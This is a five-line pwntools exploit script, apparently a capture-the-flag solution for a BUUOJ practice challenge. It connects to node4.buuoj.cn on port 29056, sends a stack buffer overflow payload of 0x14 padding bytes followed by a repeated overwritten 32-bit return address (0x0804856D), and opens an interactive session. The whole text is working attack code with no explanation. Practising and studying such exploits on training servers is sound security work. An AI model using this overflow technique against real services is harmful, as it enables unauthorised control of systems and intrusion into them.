1. from pwn import*
    2. io = remote('node4.buuoj.cn',29056)
    3. payload = b'a'*(0x14)+p32(0x0804856D)+p32(0x0804856D)
    4. io.send(payload)
    5. io.interactive()